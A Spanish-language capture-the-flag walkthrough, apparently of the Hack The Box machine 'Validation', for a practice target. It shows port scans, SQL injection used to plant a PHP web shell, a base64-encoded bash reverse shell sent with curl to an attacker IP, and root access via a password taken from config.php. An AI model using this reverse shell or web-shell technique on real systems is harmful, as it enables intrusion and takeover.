//
❯ nmap -p- -T4 -sS --open -Pn -n 10.10.11.116
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-28 15:03 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 16.40% done; ETC: 15:04 (0:00:56 remaining)
Nmap scan report for 10.10.11.116
Host is up (0.14s latency).
Not shown: 64969 closed tcp ports (reset), 562 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4566/tcp open kwtc
8080/tcp open http-proxy
Hacemos escaneo con scripts y versiones de los puertos abiertos:
//
❯ nmap -T4 -sS -sVC -p22,80,4566,8080 -n 10.10.11.116 -oN service_scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open http nginx
|_http-title: 403 Forbidden
8080/tcp open http nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Revisamos lo que esta corriendo en el puerto 80:
Intentamos capturar con Burpsuite peticiones para ver si es vulnerable a sql, donde observaremos que si es vulnerable, obteneos el nombre de la base de datos "Registration".
Podemos observar que ya podemos ejecutar comandos utilizando cmd?=
Ahora desde la terminal utilizando CURL podremos mandar una shell inyectando codigo php a la maquina victima y poniendonos en escucha al mismo tiempo por el puerto que nos parezca, en este caso el 4444.
DISCLAIMER
Al realizar el Curl, un script de Python, e incluso una revershell URL encodeada directa en el subdominio /prueba.php no podía recibir la petición a través de NC estando en escucha por ningún puerto lo unico que me funciono fue url encodear en código base 64. (esto debido a una incompatibilidad en mi ZSH).
Logro funcionar por que evita problemas de comillas, Algunos filtros web o configuraciones del servidor rompen comandos con comillas dobles, simples o caracteres especiales.
Así que toco codificar la peticion en base64 , pero OJO no se si funcionara para otras personas que no usen la zsh.
FIN DEL DISCLAIMER :3
//
Usamos CURL y url encodeamos en base 64 para solicitar revershell
en puerto 4444
❯ curl 10.10.11.116/prueba.php --data-urlencode 'cmd=echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MC80NDQ0IDA+JjE= | base64 -d | bash'
Nos ponemos en escucha en el 4444 con NC
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.40] from (UNKNOWN) [10.10.11.116] 48238
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$
Obtuvimos acceso ahora capturamos Flag
www-data@validation:/var/www/html$ cd /home
www-data@validation:/home$ ls
htb
www-data@validation:/home$ cd htb
www-data@validation:/home/htb$ ls
user.txt
www-data@validation:/home/htb$ cat user.txt
8bdad772d8d84f66821eca5f56a5cb41
Para escalar privilegios intentaremos revisar los
archivos php del sistema en donde nos encontramos
con config.php , al revisarlo conseguimos unas
credenciales y al colocarlas nos convierten en root
www-data@validation:/home/htb$ cd /var/www/html
www-data@validation:/var/www/html$ ls
account.php
config.php
css
index.php
js
www-data@validation:/var/www/html$ cat config.php
User: Registration
Password: uhc-9qual-global-pw
www-data@validation:/var/www/html$ su -
Password: uhc-9qual-global-pw
id
uid=0(root) gid=0(root) groups=0(root)
Ahora capturamos la flag de ROOT
ls
config
ipp.ko
root.txt
snap
cat root.txt
fa9dec0dbcfc6909478498fc68956399
Una vez Rooteada la maquina la damos por terminada.
Un sitio en donde se pueden registrar nombres, probamos inyecion SQL.
Captura de la petición POST con BURPSUITE para ejecutar inyecciones SQL.
Identificacion de version.
Conseguimos la version del servidor.
Identificamos el nombre de la base (Registration).
Intentamos conseguir el nombre de la TABLA.
Posee el mismo nombre de tabla REGISTRATION.
Ahora enumeramos las columnas existentes dentro de las tablas para ver su contenido, donde descubrimos, usuarios, hash etc..
Resultado del interior de las Columnas.
Intentaremos listar el contenido de usernames y hashes, pero descubrimos que lista los usuarios que nosotros mismos inscribimos.
Ya que no obtuvimos nada tan valioso intentaremos ver si se puede subir archivos al sistema abusando de codigo PHP mediante una SQLI, pero primero hacemos una prueba en txt.
La prueba es exitosa asi que ahora si intentaremos con codigo PHP.
Utilizaremos la SQLI y el codigo PHP para poder realizar comandos CMD.
Al renderizar la peticion, causa un error asi que posiblemente tenga exito.
Tiene exito la peticion, asi que ejecutamos comando whoami desde la web y nos responde www-data , hemos obtenido acceso al sistema.